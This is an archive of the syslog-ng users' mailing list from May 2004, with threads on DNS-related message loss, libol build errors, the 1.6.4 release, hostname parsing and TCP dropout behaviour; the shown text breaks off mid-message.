http://www.campin.net/syslog-ng/faq.html -- Musashino-shi, Tokyo, Japan K12LTSP in Japanese ; http://open-mitch.dyndns.org/k12ltsp/ From syslog-ng@lists.balabit.hu Thu May 13 19:58:27 2004 From: syslog-ng@lists.balabit.hu (Dmitri Smirnov) Date: Thu, 13 May 2004 11:58:27 -0700 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message Message-ID: <77F055FA968580429F4546414D8C10E70142ED98@s102b.rhcci.net> Sorry for confusion - may be the solution will help someone in future as well. The problem I had was related to reverse lookups - I didn't have few zones registered in DNS and reverse lookup was taking 1-2 minutes.. During that time syslog-ng was dropping messages.. I guess it will be nice to isolate lookup function from messages processing if possible.. Thank you for your help and for really nice product! Sorry for confusion - 1.6.3 is working just fine! Dmitri -----Original Message----- From: Dmitri Smirnov=20 Sent: Thursday, May 13, 2004 11:13 AM To: syslog-ng@lists.balabit.hu Subject: RE: [syslog-ng]Problem with 1.6.3 on Solaris. Message Tried to increase UDP udp_max_buf to 524288 (from 262144) - doesn't help. STATS reports 0 lost messages... ;( Plus 1.6.3 hangs for me after 200-300 messages (3-5 minutes)... 1.6.1 doesn't hang but losing messages :( Dmitri -----Original Message----- >=20 > Another problem with syslog-ng in general (1.6.1 or later) - we're=20 > started to lose about 10% of syslog messages. > The config file is not too big and messages do arrive on server for=20 > sure (confirmed with snoop) but every few minutes syslog-ng is losing=20 > some of them. Any recommendation on tuning or troubleshooting? if the packet arrives to the log host but syslog-ng does not receive it (e.g. your STATS line shows 0 dropped messages), it is possible that the UDP receive buffer is too small. try increasing the UDP receive buffer, it should be possible with some OS dependant tools (ndd comes to mind on Solaris) From syslog-ng@lists.balabit.hu Fri May 14 11:12:27 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Fri, 14 May 2004 12:12:27 +0200 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <40A39423.4020401@zulu420.com> References: <40A38628.3010202@zulu420.com> <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> <40A39423.4020401@zulu420.com> Message-ID: <1084529547.862.17.camel@bzorp.balabit> 2004-05-13, cs keltezéssel 17:28-kor Keg ezt írta: > I just realized it is looking for libol > 0.3.13, but the latest on the > site is 0.3.9 which it says to use with syslog-ng 1.6.3. > > Where can I get this newer version of libol???? > ?? where can you see the reference to 0.3.9? the latest version can always be found in http://www.balabit.com/downloads/syslog-ng/libol/0.3/ > > michihito matsubara wrote: > > > Hi Keg, > > > > run /sbin/ldconfig after adding /usr/local/lib into your /etc/ld.so.conf. > > > > then, run configure again without --with-libol option. > > > > how'bout it? > > > > > > HTH > > mitch > > > > > > On Thu, 13 May 2004 07:28:56 -0700 > > Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat > > Keg wrote: > > > > > > > >>syslog-ng needs the libol library, which I compiled and installed to > >>it's default location, /usr/local/lib. > >> > >>When configuring syslog-ng I get this error: > >> > >>checking for strptime... yes > >>checking for TCP wrapper library... -lwrap > >>checking whether to enable Sun STREAMS support... no > >>checking whether to enable Sun door support... no > >>checking whether to enable TCP wrapper support... no > >>checking whether to enable spoof_source support... no > >>checking libol version >= 0.3.13... no > >>configure: error: Required libol version not found > >> > >>Here is the library: > >>syslog:/usr/local/lib #ls -la > >>total 124 > >>drwxr-xr-x 2 root root 4096 May 13 06:45 . > >>drwxr-xr-x 23 root root 4096 Jan 10 10:55 .. > >>-rw-r--r-- 1 root root 51408 May 13 06:45 libol.a > >>-rwxr-xr-x 1 root root 698 May 13 06:45 libol.la > >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so -> > >>libol.so.0.0.0 > >>lrwxrwxrwx 1 root root 14 May 13 06:45 libol.so.0 -> > >>libol.so.0.0.0 > >>-rwxr-xr-x 1 root root 50799 May 13 06:45 libol.so.0.0.0 > >> > >> > >>I added /usr/local/lib to /etc/ld.so.conf and ran ldconfig. (even > >>rebooted as well) This did not work. > >>I added /usr/local/lib to LD_LIBRARY_PATH, this did not work. > >>I tried configuring with --with-libol=/usr/local and got same error. > >>I tried configuring with --with-libol=/usr/local/lib and got same error. > >>I tried configuring with --with-libol=/usr/local, however, this time I > >>get this error: > >> > >>checking for TCP wrapper library... -lwrap > >>checking whether to enable Sun STREAMS support... no > >>checking whether to enable Sun door support... no > >>checking whether to enable TCP wrapper support... no > >>checking whether to enable spoof_source support... no > >>checking libol version >= 0.3.13... configure: error: libol-config not > >>found in the specified location > >> > >>libol-config is in /usr/local/bin: > >>syslog:/usr/local/src/Syslog-Ng/syslog-ng-1.6.3 #ls -l /usr/local/bin/ > >>-rwxr-xr-x 1 root root 1298 May 13 06:45 libol-config > >> > >>I have followed every doc as instructed. This is a vanilla RH 9 system > >>with all updates. > >> > >>Thx for any help. > >>cc > >> > >>_______________________________________________ > >>syslog-ng maillist - syslog-ng@lists.balabit.hu > >>https://lists.balabit.hu/mailman/listinfo/syslog-ng > >>Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > > > > > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Fri May 14 11:13:12 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Fri, 14 May 2004 12:13:12 +0200 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message In-Reply-To: <77F055FA968580429F4546414D8C10E7021C8121@s102b.rhcci.net> References: <77F055FA968580429F4546414D8C10E7021C8121@s102b.rhcci.net> Message-ID: <1084529592.862.19.camel@bzorp.balabit> 2004-05-13, cs keltezéssel 18:40-kor Dmitri Smirnov ezt írta: > Thank you, > > The patch fixed the problem with an error message about STREAMS. > Does this mean that the patch works well? -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Fri May 14 11:14:46 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Fri, 14 May 2004 12:14:46 +0200 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat In-Reply-To: <20040514031735.8EBF.XC7M-MTBR@asahi-net.or.jp> References: <20040514000753.3C25.XC7M-MTBR@asahi-net.or.jp> <40A39423.4020401@zulu420.com> <20040514031735.8EBF.XC7M-MTBR@asahi-net.or.jp> Message-ID: <1084529686.862.21.camel@bzorp.balabit> 2004-05-13, cs keltezéssel 20:33-kor michihito matsubara ezt írta: > today, running libol-0.3.13+20040513, syslog-ng-1.7.0+20040513. > look very stable for me. > > if you have insterest them, you can get it from below. > > http://www.balabit.com/downloads/syslog-ng/1.6/src-snapshot/ Hmm.. I must have made a mistake about the 1.7.x version number. There are no 1.7.x versions published. I'll go and fix my scripts. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Fri May 14 11:55:17 2004 From: syslog-ng@lists.balabit.hu (Wyner, Peter) Date: Fri, 14 May 2004 06:55:17 -0400 Subject: [syslog-ng]Problem with 1.6.2 on Solaris 8 - lwp_sema_wait(0xFEF0DE60) Message-ID: <6A8CA21E339F634E96E13AB97D7322750184730F@pro1wnexc01.vcorp.ad.vrsn.com> All, I am running into an issue on a previously working syslog_ng 1.6.2 server. There were no configuration changes between when it worked and now (when it doesn't). The syslog sever will process a large number of packets for a period of time and then suddenly the processor utilization goes down to zero, files stop being written, and truss shows: door_call(6, 0xFFBED340) (sleeping...) signotifywait() (sleeping...) lwp_sema_wait(0xFEF0DE60) (sleeping...) I am collecting syslog on a high udp port: # # Syslog-ng example configuration file for Solaris # # Copyright (c) 1999 Balazs Scheidler # $Id: syslog-ng.conf.solaris,v 1.2 1999/11/15 12:30:41 bazsi Exp $ # # Solaris 2.5.1 and below uses the STREAMS driver, above extends it # with doors. For 2.5.1 remove the door() option from the source declaration. # options { log_fifo_size(1024); sync(0); dns_cache(yes); dns_cache_expire(60); use_dns(yes); chain_hostnames(no); keep_hostname(no); }; source local { sun-streams("/dev/log"); internal(); }; source std_udp { udp( port(52001) ); }; destination all { file("/var/log/messages"); }; destination dst1 { file("/syslog/dst1/current/$HOST" dir_perm(0755) perm(0644)); }; log { source(local); destination(all); }; log { source(std_udp); destination(dst1); }; Any ideas? Thanks, Peter From syslog-ng@lists.balabit.hu Fri May 14 15:25:08 2004 From: syslog-ng@lists.balabit.hu (Dmitri Smirnov) Date: Fri, 14 May 2004 07:25:08 -0700 Subject: [syslog-ng]Problem with 1.6.3 on Solaris. Message Message-ID: <77F055FA968580429F4546414D8C10E7021C8139@s102b.rhcci.net> Yes, patch is working well. Dmitri=20 -----Original Message----- From: Balazs Scheidler [mailto:bazsi@balabit.hu]=20 Sent: Friday, May 14, 2004 3:13 AM To: syslog-ng@lists.balabit.hu Subject: RE: [syslog-ng]Problem with 1.6.3 on Solaris. Message Does this mean that the patch works well? From syslog-ng@lists.balabit.hu Fri May 14 15:45:55 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Fri, 14 May 2004 16:45:55 +0200 Subject: [syslog-ng]syslog-ng 1.6.4 Message-ID: <1084545955.2636.3.camel@bzorp.balabit> Hi, After the embarassing Solaris related problem in 1.6.3, I'm releasing 1.6.4 which fixes that issue, otherwise nothing else changed. It is being uploaded to our website and should be available tomorrow at the latest. Here's the NEWS file: News for the 1.6.4 release Fri, 14 May 2004 16:42:25 +0200 * fixed a STREAMS handling bug introduced by the IRIX compatibility patches integrated in 1.6.3 -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Fri May 14 16:57:37 2004 From: syslog-ng@lists.balabit.hu (Badat, Qassim, ALABS) Date: Fri, 14 May 2004 11:57:37 -0400 Subject: [syslog-ng]cisco host not being resolved Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C439CC.2DA56E16 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Hi, =20 I am new to syslog-ng so excuse my ignorance. I have installed syslog-ng 1.6.2 on Solaris 8. I am getting the logs but the host names are not being resolved. . Strangely logs from another vendor's does have the names resolved by syslog-ng. Any idea whats causing the problem for cisco ? =20 =20 My syslog-ng.conf file: =20 options { long_hostnames(off); sync(0); }; source sys { sun-streams ("/dev/log" door("/etc/.syslog_door")); internal(); }; source net { udp(); }; =20 destination network { file("/var/log/syslog-ng"); }; =20 log { source(net); destination(network); }; log { source(sys); destination(network); }; =20 =20 =20 Regards, QB ------_=_NextPart_001_01C439CC.2DA56E16 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Hi,

 

I am new to syslog-ng so excuse my ignorance.  I = have installed syslog-ng 1.6.2 on Solaris 8.  I am getting the logs but = the host names are not being resolved.  .  Strangely logs from = another vendor’s does have the names resolved by syslog-ng.  Any idea = whats causing the problem for cisco ?

 

 

My syslog-ng.conf file:

 

options { long_hostnames(off); sync(0); = };

source sys { sun-streams ("/dev/log" door("/etc/.syslog_door")); internal(); = };

source net { udp(); };

 

destination network { = file("/var/log/syslog-ng"); };

 

log { source(net); destination(network); = };

log { source(sys); destination(network); = };

 

 

 

Regards,

QB

------_=_NextPart_001_01C439CC.2DA56E16-- From syslog-ng@lists.balabit.hu Fri May 14 19:02:08 2004 From: syslog-ng@lists.balabit.hu (Carson Gaspar) Date: Fri, 14 May 2004 14:02:08 -0400 Subject: [syslog-ng]Problem with 1.6.2 on Solaris 8 - lwp_sema_wait(0xFEF0DE60) In-Reply-To: <6A8CA21E339F634E96E13AB97D7322750184730F@pro1wnexc01.vcorp.ad.vrsn.com> References: <6A8CA21E339F634E96E13AB97D7322750184730F@pro1wnexc01.vcorp.ad.v rsn.com> Message-ID: --On Friday, May 14, 2004 06:55:17 -0400 "Wyner, Peter" wrote: > All, > > I am running into an issue on a previously working syslog_ng 1.6.2 server. > There were no configuration changes between when it worked and now (when > it doesn't). The syslog sever will process a large number of packets for > a period of time and then suddenly the processor utilization goes down to > zero, files stop being written, and truss shows: > > door_call(6, 0xFFBED340) (sleeping...) > signotifywait() (sleeping...) > lwp_sema_wait(0xFEF0DE60) (sleeping...) Looks like a hang on a NSS call (such as gethostbyaddr). sotruss will better show what's going on, but I suspect you're hanging on a DNS lookup. -- Carson From syslog-ng@lists.balabit.hu Fri May 14 19:25:30 2004 From: syslog-ng@lists.balabit.hu (Andrew J Caines) Date: Fri, 14 May 2004 14:25:30 -0400 Subject: [syslog-ng]IRC channel: #syslog-ng on FreeNode Message-ID: <20040514182530.GH69993@hal9000.halplant.com> Folks, Having failed to find an existing one, I've set up an IRC channel #thttpd on the FreeNode IRC network`[1], where I'm AJ_Z0 and AJC_Z0 (at home and work, respectively). It's registered with ChanServ. Please feel free to drop in to say hello, as well as share questions, answers and ideas about syslog-ng. If no-one responds straight away, don't feel slighted since not everyone is actively participating in the channel all the time. Hang around and someone will respond. In case you're not familiar with Internet Relay Chat (IRC), it's an old but very much alive collection of distributed networks, wherein your IRC client connects to any node and you join any of the channels (chat groups) and chat with everyone else in that channel on the network. It's a bit like some of the instant messenger groups, but without the proprietary protocols, poor client platform support, etc. For the record, I'm not involved with syslog-ng, except as a (fairly new) user. ----8<---- [1] irc.freenode.org - See http://freenode.org/ -Andrew- -- _______________________________________________________________________ | -Andrew J. Caines- Unix Systems Engineer A.J.Caines@halplant.com | | "They that can give up essential liberty to obtain a little temporary | | safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 | From syslog-ng@lists.balabit.hu Fri May 14 22:07:43 2004 From: syslog-ng@lists.balabit.hu (Badat, Qassim, ALABS) Date: Fri, 14 May 2004 17:07:43 -0400 Subject: [syslog-ng]cisco host not being resolved Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C439F7.7F81CE94 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable I resolved it, the problem was due to DNS and missing reverse entries for these hosts. Guess what, it was the logs in the syslog-ng that led to its own resolution !!! =20 _____ =20 From: syslog-ng-admin@lists.balabit.hu [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Badat, Qassim, ALABS Sent: Friday, May 14, 2004 11:58 AM To: syslog-ng@lists.balabit.hu Subject: [syslog-ng]cisco host not being resolved =20 Hi, =20 I am new to syslog-ng so excuse my ignorance. I have installed syslog-ng 1.6.2 on Solaris 8. I am getting the logs but the host names are not being resolved. . Strangely logs from another vendor's does have the names resolved by syslog-ng. Any idea whats causing the problem for cisco ? =20 =20 My syslog-ng.conf file: =20 options { long_hostnames(off); sync(0); }; source sys { sun-streams ("/dev/log" door("/etc/.syslog_door")); internal(); }; source net { udp(); }; =20 destination network { file("/var/log/syslog-ng"); }; =20 log { source(net); destination(network); }; log { source(sys); destination(network); }; =20 =20 =20 Regards, QB ------_=_NextPart_001_01C439F7.7F81CE94 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

I resolved it, the problem was due = to DNS and missing reverse entries for these hosts.  Guess what, it was = the logs in the syslog-ng that led to its own resolution = !!!

 


From: syslog-ng-admin@lists.balabit.hu = [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Badat, Qassim, = ALABS
Sent: Friday, May 14, = 2004 11:58 AM
To: = syslog-ng@lists.balabit.hu
Subject: [syslog-ng]cisco = host not being resolved

 

Hi,

 

I am new to syslog-ng so excuse my ignorance.  I = have installed syslog-ng 1.6.2 on Solaris 8.  I am getting the logs but = the host names are not being resolved.  .  Strangely logs from = another vendor’s does have the names resolved by syslog-ng.  Any idea = whats causing the problem for cisco ?

 

 

My syslog-ng.conf file:

 

options { long_hostnames(off); sync(0); = };

source sys { sun-streams ("/dev/log" door("/etc/.syslog_door")); internal(); = };

source net { udp(); };

 

destination network { = file("/var/log/syslog-ng"); };

 

log { source(net); destination(network); = };

log { source(sys); destination(network); = };

 

 

 

Regards,

QB

------_=_NextPart_001_01C439F7.7F81CE94-- From syslog-ng@lists.balabit.hu Fri May 14 22:33:41 2004 From: syslog-ng@lists.balabit.hu (Asif Iqbal) Date: Fri, 14 May 2004 17:33:41 -0400 Subject: [syslog-ng]cisco host not being resolved In-Reply-To: References: Message-ID: <20040514213341.GG16586@qwestip.net> Badat, Qassim, ALABS wrote: > I resolved it, the problem was due to DNS and missing reverse entries > for these hosts. Guess what, it was the logs in the syslog-ng that led > to its own resolution !!! Would you care to share the diff of the not working and working syslog.conf? I am having the same problem Thanks > > > > _____ > > From: syslog-ng-admin@lists.balabit.hu > [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Badat, Qassim, > ALABS > Sent: Friday, May 14, 2004 11:58 AM > To: syslog-ng@lists.balabit.hu > Subject: [syslog-ng]cisco host not being resolved > > > > Hi, > > > > I am new to syslog-ng so excuse my ignorance. I have installed > syslog-ng 1.6.2 on Solaris 8. I am getting the logs but the host names > are not being resolved. . Strangely logs from another vendor's does > have the names resolved by syslog-ng. Any idea whats causing the > problem for cisco ? > > > > > > My syslog-ng.conf file: > > > > options { long_hostnames(off); sync(0); }; > > source sys { sun-streams ("/dev/log" door("/etc/.syslog_door")); > internal(); }; > > source net { udp(); }; > > > > destination network { file("/var/log/syslog-ng"); }; > > > > log { source(net); destination(network); }; > > log { source(sys); destination(network); }; > > > > > > > > Regards, > > QB > -- Asif Iqbal PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu There's no place like 127.0.0.1 From syslog-ng@lists.balabit.hu Fri May 14 23:04:30 2004 From: syslog-ng@lists.balabit.hu (Badat, Qassim, ALABS) Date: Fri, 14 May 2004 18:04:30 -0400 Subject: [syslog-ng]cisco host not being resolved Message-ID: Nothing to do with syslog-ng. It's the DNS, there should exist both the A -record and the PTR for the host. That is you should be able to resolve NAME-to-IP and also IP-to-NAME. =20 -----Original Message----- From: syslog-ng-admin@lists.balabit.hu [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Asif Iqbal Sent: Friday, May 14, 2004 5:34 PM To: syslog-ng@lists.balabit.hu Subject: Re: [syslog-ng]cisco host not being resolved Badat, Qassim, ALABS wrote: > I resolved it, the problem was due to DNS and missing reverse entries > for these hosts. Guess what, it was the logs in the syslog-ng that led > to its own resolution !!! Would you care to share the diff of the not working and working syslog.conf? I am having the same problem Thanks >=20 > =20 >=20 > _____ =20 >=20 > From: syslog-ng-admin@lists.balabit.hu > [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Badat, Qassim, > ALABS > Sent: Friday, May 14, 2004 11:58 AM > To: syslog-ng@lists.balabit.hu > Subject: [syslog-ng]cisco host not being resolved >=20 > =20 >=20 > Hi, >=20 > =20 >=20 > I am new to syslog-ng so excuse my ignorance. I have installed > syslog-ng 1.6.2 on Solaris 8. I am getting the logs but the host names > are not being resolved. . Strangely logs from another vendor's does > have the names resolved by syslog-ng. Any idea whats causing the > problem for cisco ? >=20 > =20 >=20 > =20 >=20 > My syslog-ng.conf file: >=20 > =20 >=20 > options { long_hostnames(off); sync(0); }; >=20 > source sys { sun-streams ("/dev/log" door("/etc/.syslog_door")); > internal(); }; >=20 > source net { udp(); }; >=20 > =20 >=20 > destination network { file("/var/log/syslog-ng"); }; >=20 > =20 >=20 > log { source(net); destination(network); }; >=20 > log { source(sys); destination(network); }; >=20 > =20 >=20 > =20 >=20 > =20 >=20 > Regards, >=20 > QB >=20 --=20 Asif Iqbal PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu There's no place like 127.0.0.1 _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html From syslog-ng@lists.balabit.hu Fri May 14 23:07:43 2004 From: syslog-ng@lists.balabit.hu (Dmitri Smirnov) Date: Fri, 14 May 2004 15:07:43 -0700 Subject: [syslog-ng]cisco host not being resolved Message-ID: <77F055FA968580429F4546414D8C10E7021C814C@s102b.rhcci.net> I think you can use use_dns(no) option to disable DNS resolution by syslog-ng Dmitri -----Original Message----- From: Badat, Qassim, ALABS [mailto:qbadat@att.com]=20 Sent: Friday, May 14, 2004 3:05 PM To: syslog-ng@lists.balabit.hu Subject: RE: [syslog-ng]cisco host not being resolved Nothing to do with syslog-ng. It's the DNS, there should exist both the A -record and the PTR for the host. That is you should be able to resolve NAME-to-IP and also IP-to-NAME. =20 From syslog-ng@lists.balabit.hu Sat May 15 10:03:57 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Sat, 15 May 2004 11:03:57 +0200 Subject: [syslog-ng]Re: syslog-ng 1.6.4 packages for Solaris In-Reply-To: <200405150748.DAA00778@smc.vnet.net> References: <200405150748.DAA00778@smc.vnet.net> Message-ID: <20040515090357.GA23734@balabit.hu> Thanks, I'm sure Solaris packages of syslog-ng will be useful. I'm also Cc-ing the syslog-ng mailing list where more people are listening. On Sat, May 15, 2004 at 03:48:01AM -0400, Steven M. Christensen wrote: > Greetings -- > > I had a number of requests for pre-compiled versions of > syslog-ng for Solaris systems from the users of my > sunfreeware.com site. > > I have added these packages for all the levels of Solaris > I support to that site. I hope this is of use to your > efforts. > > Regards, > > Steve Christensen > From syslog-ng@lists.balabit.hu Mon May 17 05:05:51 2004 From: syslog-ng@lists.balabit.hu (Philip Webster) Date: Mon, 17 May 2004 14:05:51 +1000 Subject: [syslog-ng]TCP Connection Dropouts Message-ID: <40A83A1F.6040904@hotpop.com> Hello, I'm wondering about the resilience of syslog-ng to TCP connection dropouts. I've tested what happens when there is no connection available - syslog-ng buffers the output and continues to write to local files, ie. it doesn't block. But what happens if the TCP connection fails halfway through? So, for example, the three-way handshake has been completed, but there is no response after the first data packet is sent because the remote host (or router, switch, ISP ...) has stopped responding. I can't really test this, so does anyone know how syslog-ng handles it? Thanks Phil From syslog-ng@lists.balabit.hu Mon May 17 06:14:49 2004 From: syslog-ng@lists.balabit.hu (Jason Haar) Date: Mon, 17 May 2004 17:14:49 +1200 Subject: [syslog-ng]Issue with syslog-ng and process-names with spaces Message-ID: <20040517051449.GA18770@trimble.co.nz> Hi there I don't know if this is a bug with syslog-ng-1.6.4 or NTsyslog (which generated the syslog record), but we have a problem with records generated by some NT applications showing up "corrupted" within syslog-ng. Namely it thinks the hostname is the process name. However, looking with a sniffer shows what is really going on: NTSyslog records generally look like: <(facility tag)>May 17 14:22:22 security[success] blah blah and syslog-ng records that as timestamp PTR-record security[success] blah blah However, what if the process name has spaces in it? It looks like <(facility tag)>May 17 14:22:22 trend user alert micro scanmail for microsoft \ exchange[warning]: (msg) syslog-ng records that as timestamp trend user alert micro scanmail... I think syslog-ng is looking at the first word as the process name, and if it doesn't "look like a process name", then it assumes it must be the hostname? Config is: options { use_dns(yes); use_fqdn(yes); dns_cache(no); time_reopen(10); keep_hostname(no); use_time_recvd(yes); log_fifo_size(100); mark(0); stats(0); sync(5); }; Does that sound correct, and is there something I can do to stop it? Thanks -- Cheers Jason Haar Information Security Manager, Trimble Navigation Ltd. Phone: +64 3 9635 377 Fax: +64 3 9635 417 PGP Fingerprint: 7A2E 0407 C9A6 CAF6 2B9F 8422 C063 5EBB FE1D 66D1 From syslog-ng@lists.balabit.hu Mon May 17 06:39:08 2004 From: syslog-ng@lists.balabit.hu (Nate Campi) Date: Sun, 16 May 2004 22:39:08 -0700 Subject: [syslog-ng]Issue with syslog-ng and process-names with spaces In-Reply-To: <20040517051449.GA18770@trimble.co.nz> References: <20040517051449.GA18770@trimble.co.nz> Message-ID: <20040517053908.GK13906@campin.net> On Mon, May 17, 2004 at 05:14:49PM +1200, Jason Haar wrote: > > I don't know if this is a bug with syslog-ng-1.6.4 or NTsyslog (which > generated the syslog record), but we have a problem with records generated > by some NT applications showing up "corrupted" within syslog-ng. > > Namely it thinks the hostname is the process name. This is what bad_hostname() is for. Usage: new global option named bad_hostname(), expects a regular expression which should match all bad hostnames: options { bad_hostname("^ctld$"); }; Just for the record, there's no way for syslog-ng to know the difference in advance between a hostname and a fsck'd up process name with a space in it. You have to tell syslog-ng about it. -- Nate If you tell them, they never listen. If they listen, they never learn. If they learn, they never remember. If they remember, they never obey. From syslog-ng@lists.balabit.hu Mon May 17 09:05:11 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Mon, 17 May 2004 10:05:11 +0200 Subject: [syslog-ng]Issue with syslog-ng and process-names with spaces In-Reply-To: <20040517051449.GA18770@trimble.co.nz> References: <20040517051449.GA18770@trimble.co.nz> Message-ID: <1084781111.576.4.camel@bzorp.balabit> 2004-05-17, h keltezéssel 07:14-kor Jason Haar ezt írta: > Hi there > > I don't know if this is a bug with syslog-ng-1.6.4 or NTsyslog (which > generated the syslog record), but we have a problem with records generated > by some NT applications showing up "corrupted" within syslog-ng. > > Namely it thinks the hostname is the process name. > > However, looking with a sniffer shows what is really going on: > > NTSyslog records generally look like: > > <(facility tag)>May 17 14:22:22 security[success] blah blah > > and syslog-ng records that as > > timestamp PTR-record security[success] blah blah > > > However, what if the process name has spaces in it? It looks like > > <(facility tag)>May 17 14:22:22 trend user alert micro scanmail for microsoft \ > exchange[warning]: (msg) > > syslog-ng records that as > > timestamp trend user alert micro scanmail... > > > I think syslog-ng is looking at the first word as the process name, and if > it doesn't "look like a process name", then it assumes it must be the > hostname? yes, exactly. when there are two words before the first '[' or ':' it assumes the first is the hostname the second is the program name. The program name may not contain spaces per RFC3164. there's the bad_hostnames() and check_hostname() options, which might help, provided there are no hosts containing the substring 'trend' options { bad_hostnames("^trend$"); }; -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Mon May 17 09:06:21 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Mon, 17 May 2004 10:06:21 +0200 Subject: [syslog-ng]TCP Connection Dropouts In-Reply-To: <40A83A1F.6040904@hotpop.com> References: <40A83A1F.6040904@hotpop.com> Message-ID: <1084781181.576.6.camel@bzorp.balabit> 2004-05-17, h keltezéssel 06:05-kor Philip Webster ezt írta: > Hello, > > I'm wondering about the resilience of syslog-ng to TCP connection dropouts. > I've tested what happens when there is no connection available - syslog-ng > buffers the output and continues to write to local files, ie. it doesn't block. > > But what happens if the TCP connection fails halfway through? So, for > example, the three-way handshake has been completed, but there is no response > after the first data packet is sent because the remote host (or router, > switch, ISP ...) has stopped responding. I can't really test this, so does > anyone know how syslog-ng handles it? exactly the same, syslog-ng 1.6.x does never block. (or at least should not), there's no flow control. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Mon May 17 09:30:13 2004 From: syslog-ng@lists.balabit.hu (Rule, Ted) Date: Mon, 17 May 2004 09:30:13 +0100 Subject: [syslog-ng]TCP Connection Dropouts Message-ID: <7EE401CB7BDD6541BE2EB68CC917596D015EA7D4@fttvgpsexch2-nas.flextech.co.uk> We had a Disaster Recovery test recently where I specifically tested this exact scenario, as I couldn't be sure that syslog-ng wouldn't block to local Unix Domain connections. The routed link between the central syslog-ng host and the local syslog-ng client was dropped to see what effect it would have - for both syslog-ng and all other applications. The only effect seemed to be that the client machine created an error message every time_reopen() seconds detailing how many messages had been lost due to the broken connection. To slightly reduce the number of errors caused by error messages, I specifically adjusted the client machine's configuration to avoid it sending any messages generated by syslog-ng itself up to the remote host. Ted > -----Original Message----- > From: syslog-ng-admin@lists.balabit.hu=20 > [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Philip Webster > Sent: Monday May 17 2004 05:06 > To: syslog-ng@lists.balabit.hu > Subject: [syslog-ng]TCP Connection Dropouts >=20 >=20 > Hello, >=20 > I'm wondering about the resilience of syslog-ng to TCP=20 > connection dropouts.=20 > I've tested what happens when there is no connection=20 > available - syslog-ng=20 > buffers the output and continues to write to local files, ie.=20 > it doesn't block. >=20 > But what happens if the TCP connection fails halfway through?=20 > So, for=20 > example, the three-way handshake has been completed, but=20 > there is no response=20 > after the first data packet is sent because the remote host=20 > (or router,=20 > switch, ISP ...) has stopped responding. I can't really test=20 > this, so does=20 > anyone know how syslog-ng handles it? >=20 > Thanks > Phil > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html >=20 >=20 ***************************************************************************= ********************* This E-mail message, including any attachments, is intended only for the pe= rson or entity to which it is addressed, and may contain confidential informatio= n. If you are not the intended recipient, any review, retransmission, disclosu= re, copying, modification or other use of this E-mail message or attachments is strictly forbidden. If you have received this E-mail message in error, please contact the autho= r and delete the message and any attachments from your computer. You are also advised that the views and opinions expressed in this E-mail message and any attachments are the author's own, and may not reflect the v= iews and opinions of FLEXTECH Television Limited. ***************************************************************************= ********************* From syslog-ng@lists.balabit.hu Mon May 17 18:18:03 2004 From: syslog-ng@lists.balabit.hu (me) Date: Mon, 17 May 2004 19:18:03 +0200 (MEST) Subject: [syslog-ng]syslog-ng crashes after app. 70 messages received References: <6196.1083845160@www24.gmx.net> Message-ID: <12923.1084814283@www15.gmx.net> Hi again, well I tried some more: V1.6.3 and V1.7.0 (with and without "templates") with no success... Is there someone who runs syslog-ng on AIX with templates in use? The following configure options are NOT default: --prefix --exec-prefix --localestatedir --sysconfidr Furthermore the configure script is modified a little by sed: sed -e 's,sysconfdir="\${sysconfdir}\/syslog-ng",sysconfdir="\${sysconfdir}",' \ configure > 